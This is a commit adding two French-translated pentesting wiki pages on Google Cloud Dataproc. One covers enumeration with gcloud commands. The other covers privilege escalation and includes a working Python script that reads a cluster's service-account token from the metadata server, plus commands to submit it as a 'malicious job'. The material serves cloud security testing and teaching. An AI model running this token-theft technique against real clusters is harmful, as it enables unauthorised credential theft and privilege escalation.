Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-01-26 21:46:31 +00:00
parent 119deace48
commit 5bc1061b7c
2 changed files with 97 additions and 0 deletions

View File

@@ -0,0 +1,54 @@
# GCP Dataproc Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataproc
{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
Je n'ai pas pu obtenir un shell inversé en utilisant cette méthode, cependant il est possible de leak le token SA depuis le point de terminaison des métadonnées en utilisant la méthode décrite ci-dessous.
#### Étapes pour exploiter
- Placez le script de travail sur le GCP Bucket
- Soumettez un travail à un cluster Dataproc.
- Utilisez le travail pour accéder au serveur de métadonnées.
- Leak le token du compte de service utilisé par le cluster.
```python
import requests
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}
def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None
if __name__ == "__main__":
fetch_metadata_token()
```
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# GCP - Dataproc Enum
{{#include ../../../banners/hacktricks-training.md}}
## Informations de base
Google Cloud Dataproc est un service entièrement géré pour exécuter Apache Spark, Apache Hadoop, Apache Flink et d'autres frameworks de big data. Il est principalement utilisé pour le traitement des données, les requêtes, l'apprentissage automatique et l'analyse de flux. Dataproc permet aux organisations de créer des clusters pour le calcul distribué avec facilité, s'intégrant parfaitement avec d'autres services de Google Cloud Platform (GCP) comme Cloud Storage, BigQuery et Cloud Monitoring.
Les clusters Dataproc s'exécutent sur des machines virtuelles (VM), et le compte de service associé à ces VM détermine les autorisations et le niveau d'accès du cluster.
## Composants
Un cluster Dataproc comprend généralement :
Nœud maître : Gère les ressources du cluster et coordonne les tâches distribuées.
Nœuds de travail : Exécutent des tâches distribuées.
Comptes de service : Gèrent les appels API et accèdent à d'autres services GCP.
## Énumération
Les clusters, les travaux et les configurations Dataproc peuvent être énumérés pour recueillir des informations sensibles, telles que les comptes de service, les autorisations et les configurations potentielles incorrectes.
### Énumération des clusters
Pour énumérer les clusters Dataproc et récupérer leurs détails :
```
gcloud dataproc clusters list --region=<region>
gcloud dataproc clusters describe <cluster-name> --region=<region>
```
### Énumération des travaux
```
gcloud dataproc jobs list --region=<region>
gcloud dataproc jobs describe <job-id> --region=<region>
```
### Privesc
{{#ref}}
../gcp-privilege-escalation/gcp-dataproc-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}